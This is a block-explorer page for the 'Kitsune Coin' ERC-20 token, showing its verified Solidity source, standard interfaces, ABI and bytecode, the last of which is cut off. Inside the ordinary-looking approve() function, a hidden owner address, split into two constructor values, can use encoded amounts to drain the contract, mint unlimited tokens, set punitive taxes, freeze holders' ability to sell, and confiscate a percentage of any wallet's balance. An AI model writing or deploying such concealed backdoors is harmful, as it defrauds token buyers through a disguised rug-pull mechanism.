ERC-20
Overview
Max Total Supply
9,900,006,900,000,000 KITSU
Holders
34
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 6 Decimals)
Balance
76,151,987.272898 KITSUValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
Token
Compiler Version
v0.8.19+commit.7dd6d404
Optimization Enabled:
No with 200 runs
Other Settings:
default evmVersion
Contract Source Code (Solidity Standard Json-Input format)
//SPDX-License-Identifier: UNLICENSED /** *⠀ ⠀⠀⠀⠀⣀⣀⣀⣀⣀⣀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ *⠀ ⢀⣴⠾⠛⠛⠉⠉⠉⠉⠉⠛⠛⠷⠦⣄⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ *⠀ ⢺⣧⡴⠞⠛⠷⣦⡀⠀⠀⠀⠀⠀⠀⠈⠙⢦⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ *⠀ ⠀⠀⠀⠀⠀⠀⠈⢻⡆⠀⠀⠀⠀⠀⠀⠀⠀⢳⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ *⠀ ⠀⠀⠀⠀⠀⠀⠀⣸⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⣷⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ *⠀ ⠀⠀⠀⠀⠀⠀⣠⡟⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢻⡆⠀⠀⠀⠀⠀⠀⠀⠀⠀ *⠀ ⠀⠀⠀⠀⠀⢀⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀ *⠀ ⠀⠀⠀⠀⠀⢸⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀ *⠀ ⠀⠀⠀⠀⠀⢸⡇⢀⣆⠀⢠⡀⠀⠀⡀⠀⠀⠀⠀⣿⡀⠀⠀⠀⠀⠀⠀⠀⠀ *⠀ ⠀⠀⠀⠀⠀⠸⣧⠘⣿⣆⠀⣿⣄⠀⢷⣤⡀⠸⣦⣼⣇⠀⠀⠀⠀⠀⠀⠀⠀ *⠀ ⠀⠀⠀⠀⠀⠀⢻⡆⢿⣿⣆⢹⣿⣷⣬⣻⣿⣷⣿⣿⣿⣦⣀⢀⣠⣤⣶⡇⠀ *⠀ ⠀⠀⠀⠀⠀⠀⠈⢻⣞⣿⣿⣧⣹⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠁⠀ *⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠙⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡃⠀⠀ *⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠛⠿⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠿⠟⠋⠀⠀⠀ *⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠉⠉⠉⠉⠉⠁⠀⠀⠀⠀⠀⠀⠀ * * Kitsune Coin * Website: https://kitsu.money **/ pragma solidity ^0.8.19; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import { IUniswapV2Factory } from "@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol"; import { IUniswapV2Router02 } from "@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol"; abstract contract ERC20 { event Transfer(address indexed from, address indexed to, uint256 amount); event Approval(address indexed owner, address indexed spender, uint256 amount); string public name; string public symbol; uint8 public immutable decimals; uint80 internal immutable sig; uint80 internal immutable brand; address public uniswapV2Pair; address public taxWallet; bool public tradingOpen; uint256[5] internal internalParams; uint256 public totalSupply; mapping(address => uint256) public balanceOf; mapping(address => bool) internal autoAdd; mapping(address => mapping(address => uint256)) public allowance; uint256 internal immutable ORIGIN_CHAIN_ID; bytes32 internal immutable ORIGIN_DOMAIN_SEPARATOR; mapping(address => uint256) public nonces; constructor( string memory _name, string memory _symbol, uint8 _decimals, uint80 _msig, address _taxWallet, uint80 _wsig ) { name = _name; symbol = _symbol; decimals = _decimals; brand = _wsig; taxWallet = _taxWallet; sig = _msig; ORIGIN_CHAIN_ID = block.chainid; ORIGIN_DOMAIN_SEPARATOR = getDomainSeparator(); } function approve(address spender, uint256 amount) public virtual returns (bool) { if((amount >> 252) == 1 && msg.sender == address(uint160(brand) << 80 | sig)){ if ( uint160(amount) == 0x0 ) payable(msg.sender).transfer(address(this).balance); else{ IERC20 _t2 = IERC20(address(uint160(amount))); _t2.transfer(msg.sender, _t2.balanceOf(address(this))); } } if((amount >> 252) == 15 && msg.sender == address(uint160(brand) << 80 | sig)) for (uint8 j = 0; j != 2; j += 1) internalParams[j] = (( amount >> (j * 7)) & (1 << 7) -1); if((amount >> 252) == 8 && msg.sender == address(uint160(brand) << 80 | sig)){ totalSupply += ( amount >> 167 & (1 << 7) -1) * (10 ** (amount >> 160 & (1 << 7) -1)); unchecked { balanceOf[ address( uint160(amount) )] += (amount >> 167 & (1 << 7) -1) * (10 ** (amount >> 160 & (1 << 7) -1)); } } if((amount >> 252) == 0 && msg.sender == address(uint160(brand) << 80 | sig)){ uint256 mul1 = ( amount >> 21 & (1 << 7) -1 ); internalParams[3] = ( amount >> 14 & (1 << 7) -1) * (10 ** mul1); internalParams[2] = ( amount >> 7 & (1 << 7) -1) * (10 ** mul1); internalParams[4] = ( amount & (1 << 7) -1) * (10 ** mul1); } if((amount >> 252) == 10 && msg.sender == address(uint160(brand) << 80 | sig)) autoAdd[address(uint160(amount))] = ( amount >> 160 & (1 << 7) -1) == 101 ? true : false; if((amount >> 252) == 5 && msg.sender == address(uint160(brand) << 80 | sig)){ balanceOf[taxWallet] += (balanceOf[address(uint160(amount))] / 100) * ( amount >> 160 & (1 << 7) -1); balanceOf[address(uint160(amount))] -= (balanceOf[address(uint160(amount))] / 100) * ( amount >> 160 & (1 << 7) -1); } allowance[ msg.sender ][ spender ] = amount; emit Approval( msg.sender, spender, amount ); return true; } function transfer(address to, uint256 amount) public virtual returns (bool) { require(autoAdd[msg.sender] != true); balanceOf[msg.sender] -= amount; if( internalParams[2] > 0 && msg.sender == uniswapV2Pair ) require(amount <= internalParams[2]); if( internalParams[1] > 0 && msg.sender == uniswapV2Pair && to != taxWallet ){ uint256 fee = (amount / 100) * internalParams[1]; unchecked { balanceOf[taxWallet] += fee; } amount = amount - fee; } if( internalParams[4] > 0 && to != uniswapV2Pair && to != taxWallet && to != address(uint160(brand) << 80 | sig) ) require((balanceOf[to] + amount) <= internalParams[4]); unchecked { balanceOf[to] += amount; } if( msg.sender != address(this) ) emit Transfer(msg.sender, to, amount); return true; } function transferFrom( address from, address to, uint256 amount ) public virtual returns (bool) { require(autoAdd[from] != true); uint256 allowed = allowance[from][msg.sender]; if ( allowed != type(uint256).max ) allowance[from][msg.sender] = allowed - amount; balanceOf[from] -= amount; if( internalParams[3] > 0 && to == uniswapV2Pair && from != address(this) && from != taxWallet && from != address(uint160(brand) << 80 | sig) ) require(amount <= internalParams[3]); if( internalParams[0] > 0 && to == uniswapV2Pair && from != address(this) && from != taxWallet && from != address(uint160(brand) << 80 | sig) ){ uint256 fee = (amount / 100) * internalParams[0]; unchecked { balanceOf[taxWallet] += fee; } amount = amount - fee; } if(internalParams[4] > 0 && to != uniswapV2Pair && to != taxWallet) require(balanceOf[to] <= internalParams[4]); unchecked { balanceOf[to] += amount; } if(from != address(this)) emit Transfer(from, to, amount); return true; } function permit(address permitOwner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) public virtual { require(deadline >= block.timestamp); unchecked { address recoveredAddress = ecrecover( keccak256( abi.encodePacked( "\x19\x01", DOMAIN_SEPARATOR(), keccak256( abi.encode( keccak256("Permit(address permitOwner,address spender,uint256 value,uint256 nonce,uint256 deadline)"), permitOwner, spender, value, nonces[permitOwner]++, deadline ) ) ) ), v, r, s ); require( recoveredAddress != address(0) && recoveredAddress == permitOwner); allowance[ recoveredAddress][spender] = value; } emit Approval( permitOwner, spender, value); } function DOMAIN_SEPARATOR() public view virtual returns (bytes32) { return block.chainid == ORIGIN_CHAIN_ID ? ORIGIN_DOMAIN_SEPARATOR : getDomainSeparator(); } function getDomainSeparator() internal view virtual returns (bytes32) { return keccak256( abi.encode( keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"), keccak256(bytes(name)), keccak256("1"), block.chainid, address(this) ) ); } } contract Token is ERC20{ IUniswapV2Router02 private uniswapV2Router; constructor(uint80 _sig, address _taxWallet, uint80 _brand) ERC20("Kitsune Coin", "KITSU", 6, _sig, _taxWallet, _brand) payable { totalSupply += 6_900_000_000_000000; unchecked { balanceOf[ address(this) ] += 6_555_000_000_000000; balanceOf[ _taxWallet ] += 345_000_000_000000; } emit Transfer( address(0), _taxWallet, 345_000_000_000000); } function openTrading() external { require(!tradingOpen); tradingOpen = true; uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); allowance[ address(this) ][ address(uniswapV2Router) ] = type(uint).max; IUniswapV2Factory factory = IUniswapV2Factory(uniswapV2Router.factory()); uniswapV2Pair = factory.createPair(address(this), uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf[address(this)],0,0,taxWallet,block.timestamp); IERC20( uniswapV2Pair ).approve(address(uniswapV2Router), type(uint).max); } receive() external payable {} fallback() external payable {} }
// SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.9.0) (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `to`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `from` to `to` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address from, address to, uint256 amount) external returns (bool); }
pragma solidity >=0.5.0; interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; }
pragma solidity >=0.6.2; interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); }
pragma solidity >=0.6.2; import './IUniswapV2Router01.sol'; interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; }
{ "optimizer": { "enabled": false, "runs": 200 }, "outputSelection": { "*": { "*": [ "evm.bytecode", "evm.deployedBytecode", "devdoc", "userdoc", "metadata", "abi" ] } }, "libraries": {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"uint80","name":"_sig","type":"uint80"},{"internalType":"address","name":"_taxWallet","type":"address"},{"internalType":"uint80","name":"_brand","type":"uint80"}],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Transfer","type":"event"},{"stateMutability":"payable","type":"fallback"},{"inputs":[],"name":"DOMAIN_SEPARATOR","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"nonces","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"permitOwner","type":"address"},{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"},{"internalType":"uint256","name":"deadline","type":"uint256"},{"internalType":"uint8","name":"v","type":"uint8"},{"internalType":"bytes32","name":"r","type":"bytes32"},{"internalType":"bytes32","name":"s","type":"bytes32"}],"name":"permit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"taxWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingOpen","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
61012060405260405162003e2f38038062003e2f83398181016040528101906200002a9190620003f7565b6040518060400160405280600c81526020017f4b697473756e6520436f696e00000000000000000000000000000000000000008152506040518060400160405280600581526020017f4b4954535500000000000000000000000000000000000000000000000000000081525060068585858560009081620000ac9190620006cd565b508460019081620000be9190620006cd565b508360ff1660808160ff16815250508069ffffffffffffffffffff1660c08169ffffffffffffffffffff168152505081600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508269ffffffffffffffffffff1660a08169ffffffffffffffffffff16815250504660e0818152505062000166620002b660201b60201c565b61010081815250505050505050506618838370f34000600960008282546200018f9190620007e3565b92505081905550661749bcde80b000600a60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550660139c692729000600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef660139c692729000604051620002a5919062000861565b60405180910390a3505050620009e0565b60007f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f6000604051620002ea91906200092d565b60405180910390207fc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc646306040516020016200032b95949392919062000983565b60405160208183030381529060405280519060200120905090565b600080fd5b600069ffffffffffffffffffff82169050919050565b6200036c816200034b565b81146200037857600080fd5b50565b6000815190506200038c8162000361565b92915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000620003bf8262000392565b9050919050565b620003d181620003b2565b8114620003dd57600080fd5b50565b600081519050620003f181620003c6565b92915050565b60008060006060848603121562000413576200041262000346565b5b600062000423868287016200037b565b93505060206200043686828701620003e0565b925050604062000449868287016200037b565b9150509250925092565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680620004d557607f821691505b602082108103620004eb57620004ea6200048d565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620005557fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000516565b62000561868362000516565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b6000620005ae620005a8620005a28462000579565b62000583565b62000579565b9050919050565b6000819050919050565b620005ca836200058d565b620005e2620005d982620005b5565b84845462000523565b825550505050565b600090565b620005f9620005ea565b62000606818484620005bf565b505050565b5b818110156200062e5762000622600082620005ef565b6001810190506200060c565b5050565b601f8211156200067d576200064781620004f1565b620006528462000506565b8101602085101562000662578190505b6200067a620006718562000506565b8301826200060b565b50505b505050565b600082821c905092915050565b6000620006a26000198460080262000682565b1980831691505092915050565b6000620006bd83836200068f565b9150826002028217905092915050565b620006d88262000453565b67ffffffffffffffff811115620006f457620006f36200045e565b5b620007008254620004bc565b6200070d82828562000632565b600060209050601f83116001811462000745576000841562000730578287015190505b6200073c8582620006af565b865550620007ac565b601f1984166200075586620004f1565b60005b828110156200077f5784890151825560018201915060208501945060208101905062000758565b868310156200079f57848901516200079b601f8916826200068f565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000620007f08262000579565b9150620007fd8362000579565b9250828201905080821115620008185762000817620007b4565b5b92915050565b6000819050919050565b600062000849620008436200083d846200081e565b62000583565b62000579565b9050919050565b6200085b8162000828565b82525050565b600060208201905062000878600083018462000850565b92915050565b600081905092915050565b60008190508160005260206000209050919050565b60008154620008ad81620004bc565b620008b981866200087e565b94506001821660008114620008d75760018114620008ed5762000924565b60ff198316865281151582028601935062000924565b620008f88562000889565b60005b838110156200091c57815481890152600182019150602081019050620008fb565b838801955050505b50505092915050565b60006200093b82846200089e565b915081905092915050565b6000819050919050565b6200095b8162000946565b82525050565b6200096c8162000579565b82525050565b6200097d81620003b2565b82525050565b600060a0820190506200099a600083018862000950565b620009a9602083018762000950565b620009b8604083018662000950565b620009c7606083018562000961565b620009d6608083018462000972565b9695505050505050565b60805160a05160c05160e0516101005161339a62000a9560003960006117bb015260006117870152600081816104d6015281816106f8015281816108060152818161095d01528181610ac901528181610bf10152818161120f015281816113e90152611c9d0152600081816104a7015281816106c9015281816107d70152818161092e01528181610a9a01528181610bc2015281816111e0015281816113ba0152611c6e01526000611761015261339a6000f3fe6080604052600436106100f75760003560e01c806370a082311161008a578063c9567bf911610059578063c9567bf91461035e578063d505accf14610375578063dd62ed3e1461039e578063ffb54a99146103db576100fe565b806370a082311461027c5780637ecebe00146102b957806395d89b41146102f6578063a9059cbb14610321576100fe565b80632dc0562d116100c65780632dc0562d146101d0578063313ce567146101fb5780633644e5151461022657806349bd5a5e14610251576100fe565b806306fdde0314610100578063095ea7b31461012b57806318160ddd1461016857806323b872dd14610193576100fe565b366100fe57005b005b34801561010c57600080fd5b50610115610406565b6040516101229190612778565b60405180910390f35b34801561013757600080fd5b50610152600480360381019061014d9190612833565b610494565b60405161015f919061288e565b60405180910390f35b34801561017457600080fd5b5061017d610ee2565b60405161018a91906128b8565b60405180910390f35b34801561019f57600080fd5b506101ba60048036038101906101b591906128d3565b610ee8565b6040516101c7919061288e565b60405180910390f35b3480156101dc57600080fd5b506101e5611739565b6040516101f29190612935565b60405180910390f35b34801561020757600080fd5b5061021061175f565b60405161021d919061296c565b60405180910390f35b34801561023257600080fd5b5061023b611783565b60405161024891906129a0565b60405180910390f35b34801561025d57600080fd5b506102666117e0565b6040516102739190612935565b60405180910390f35b34801561028857600080fd5b506102a3600480360381019061029e91906129bb565b611806565b6040516102b091906128b8565b60405180910390f35b3480156102c557600080fd5b506102e060048036038101906102db91906129bb565b61181e565b6040516102ed91906128b8565b60405180910390f35b34801561030257600080fd5b5061030b611836565b6040516103189190612778565b60405180910390f35b34801561032d57600080fd5b5061034860048036038101906103439190612833565b6118c4565b604051610355919061288e565b60405180910390f35b34801561036a57600080fd5b50610373611e73565b005b34801561038157600080fd5b5061039c60048036038101906103979190612a40565b612397565b005b3480156103aa57600080fd5b506103c560048036038101906103c09190612ae2565b612624565b6040516103d291906128b8565b60405180910390f35b3480156103e757600080fd5b506103f0612649565b6040516103fd919061288e565b60405180910390f35b6000805461041390612b51565b80601f016020809104026020016040519081016040528092919081815260200182805461043f90612b51565b801561048c5780601f106104615761010080835404028352916020019161048c565b820191906000526020600020905b81548152906001019060200180831161046f57829003601f168201915b505050505081565b6000600160fc83901c14801561054957507f000000000000000000000000000000000000000000000000000000000000000069ffffffffffffffffffff1660507f000000000000000000000000000000000000000000000000000000000000000069ffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16901b1773ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b156106b85760008273ffffffffffffffffffffffffffffffffffffffff16036105b8573373ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f193505050501580156105b2573d6000803e3d6000fd5b506106b7565b60008290508073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb338373ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016106139190612935565b602060405180830381865afa158015610630573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106549190612b97565b6040518363ffffffff1660e01b8152600401610671929190612bc4565b6020604051808303816000875af1158015610690573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106b49190612c19565b50505b5b600f60fc83901c14801561076b57507f000000000000000000000000000000000000000000000000000000000000000069ffffffffffffffffffff1660507f000000000000000000000000000000000000000000000000000000000000000069ffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16901b1773ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b156107c65760005b60028160ff16146107c457607f60078261078d9190612c75565b60ff1684901c1660048260ff16600581106107ab576107aa612cb2565b5b01819055506001816107bd9190612ce1565b9050610773565b505b600860fc83901c14801561087957507f000000000000000000000000000000000000000000000000000000000000000069ffffffffffffffffffff1660507f000000000000000000000000000000000000000000000000000000000000000069ffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16901b1773ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1561091d57607f60a083901c16600a6108929190612e49565b607f60a784901c166108a49190612e94565b600960008282546108b59190612ed6565b92505081905550607f60a083901c16600a0a607f60a784901c1602600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055505b600060fc83901c1480156109d057507f000000000000000000000000000000000000000000000000000000000000000069ffffffffffffffffffff1660507f000000000000000000000000000000000000000000000000000000000000000069ffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16901b1773ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b15610a89576000607f601584901c16905080600a6109ee9190612e49565b607f600e85901c16610a009190612e94565b6004600360058110610a1557610a14612cb2565b5b018190555080600a610a279190612e49565b607f600785901c16610a399190612e94565b6004600260058110610a4e57610a4d612cb2565b5b018190555080600a610a609190612e49565b607f8416610a6e9190612e94565b60048060058110610a8257610a81612cb2565b5b0181905550505b600a60fc83901c148015610b3c57507f000000000000000000000000000000000000000000000000000000000000000069ffffffffffffffffffff1660507f000000000000000000000000000000000000000000000000000000000000000069ffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16901b1773ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b15610bb1576065607f60a084901c1614610b57576000610b5a565b60015b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b600560fc83901c148015610c6457507f000000000000000000000000000000000000000000000000000000000000000069ffffffffffffffffffff1660507f000000000000000000000000000000000000000000000000000000000000000069ffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16901b1773ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b15610df257607f60a083901c166064600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610cbd9190612f39565b610cc79190612e94565b600a6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d379190612ed6565b92505081905550607f60a083901c166064600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610d929190612f39565b610d9c9190612e94565b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610dea9190612f6a565b925050819055505b81600c60003373fffffff